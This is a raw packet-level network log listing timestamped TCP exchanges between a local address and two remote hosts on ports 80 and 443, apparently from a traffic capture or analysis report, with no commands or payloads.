Sep 29, 2024 00:53:25.848850012 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.848877907 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.849191904 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.849200010 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.849205017 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.849215984 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.849222898 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.849227905 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.849234104 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.849240065 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.849246025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.849251032 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.849257946 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.849294901 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.850059032 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.850064993 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.850075960 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.850126028 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.850187063 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.850193024 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.850198984 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.850203991 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.850208998 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.850214958 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.850220919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.850225925 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.850241899 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.850248098 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.850249052 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.850267887 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.850294113 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.850487947 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.850542068 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.851305962 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.851313114 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.851317883 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.851361036 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.851372957 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.851375103 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.851380110 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.851394892 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.851402044 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.851407051 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.851424932 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.851453066 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.851545095 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.851610899 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.851640940 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.851645947 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.851651907 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.851691008 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.851732016 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.851738930 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.851743937 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.851756096 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.851794004 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.853544950 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.853550911 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.853555918 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.853560925 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.853565931 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.853570938 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.853578091 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.853598118 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.853605032 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.853610992 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.853610039 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.853620052 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.853626966 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.853632927 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.853634119 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.853641033 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.853641987 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.853655100 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.853660107 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.853662968 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.853682995 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.853702068 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.853878021 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.853884935 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.853889942 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.853938103 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.853943110 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.853950024 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.853955984 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.853961945 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.853991032 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.854001045 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.854012966 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.855518103 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.855854988 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.855899096 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.855902910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.855911016 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.855952978 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.855988026 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.855995893 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.856000900 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.856013060 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.856018066 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.856024027 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.856050968 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.856062889 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.856169939 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.856177092 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.856183052 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.856194019 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.856199026 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.856241941 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.907553911 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.907567024 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.907572985 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.907582045 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.907588005 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.907593012 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.907598019 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.907603979 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.907618999 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.907629967 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.907634020 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.907644033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.907649040 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.907686949 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.907692909 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.907696962 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.907742023 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.929806948 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.929830074 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.929836035 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.929841995 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.929847002 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.929852962 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.929858923 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.929922104 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.929928064 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.929934025 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.929944992 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.929950953 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.929955959 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.929961920 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.930030107 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.930069923 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.930665970 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.930672884 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.930680037 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.930721998 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.930727959 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.930733919 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.930747986 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.930824041 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.930824041 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.932041883 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.932049036 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.932054043 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.932111979 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.932117939 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.932122946 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.932135105 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.932146072 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.932162046 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.932178020 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.932279110 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.932733059 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.932739973 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.932746887 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.932816982 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.932837009 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.932842016 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.932919025 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.933063030 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.933073997 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.933079958 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.933084011 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.933096886 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.933103085 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.933120966 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.933136940 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.933149099 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.933176994 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.933231115 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.933231115 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.933269024 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.933276892 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.933284044 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.933289051 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.933294058 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.933325052 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.933335066 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.933335066 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.933336973 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.933342934 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.933358908 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.933415890 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.933415890 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.934561014 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.934566975 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.934572935 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.934653997 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.934685946 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.934690952 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.934703112 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.934708118 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.934746981 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.934781075 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.934787989 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.934796095 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.934861898 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.934886932 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.934896946 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.934907913 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.934914112 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.934956074 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.935015917 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.935048103 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.935090065 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.935096025 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.935112000 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.935137987 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.936638117 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.936661959 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.936669111 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.936674118 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.936683893 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.936690092 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.936696053 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.936702967 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.936705112 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.936727047 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.936733007 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.936769009 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.936773062 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.936788082 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.941770077 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.941814899 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.941826105 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.941832066 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.941843033 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.941848040 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.941859961 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.941867113 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.941871881 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.941876888 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.941879988 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.941881895 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.941888094 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.941917896 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.942023993 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.942482948 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.942488909 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.942686081 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.943155050 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.943161011 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.943166018 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.943171024 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.943176985 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.943181038 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.943187952 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.943283081 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.943283081 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.943305016 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.943310022 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.943315029 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.943325043 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.943330050 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.943335056 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.943403006 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.943502903 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.943530083 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.943536997 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.943552971 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.943584919 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.943613052 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.943613052 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.943613052 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.943619013 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.943628073 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.943639994 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.943670988 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.943670988 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.943836927 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.945436954 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.945482016 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.945511103 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.945527077 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.945554018 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.945568085 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.946248055 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.946258068 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.946264982 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.946275949 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.946281910 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.946289062 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.946295977 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.946300983 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.946398020 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.946398020 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.946772099 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.946790934 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.946798086 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.946803093 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.946810961 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.946855068 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.946855068 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.947016954 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.947024107 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.947118044 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.947154045 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.947190046 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.947211027 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.947231054 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.947244883 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.947252035 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.947280884 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.947340012 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.947416067 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.947423935 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.947429895 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.947441101 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.947494984 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.947500944 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.947504997 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.947542906 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.947560072 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.947623014 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.947630882 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.947669983 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.947674036 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.947808027 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.947812080 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.947817087 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.947829962 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.947835922 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.947841883 CEST	80	49710	103.130.147.211	192.168.2.9
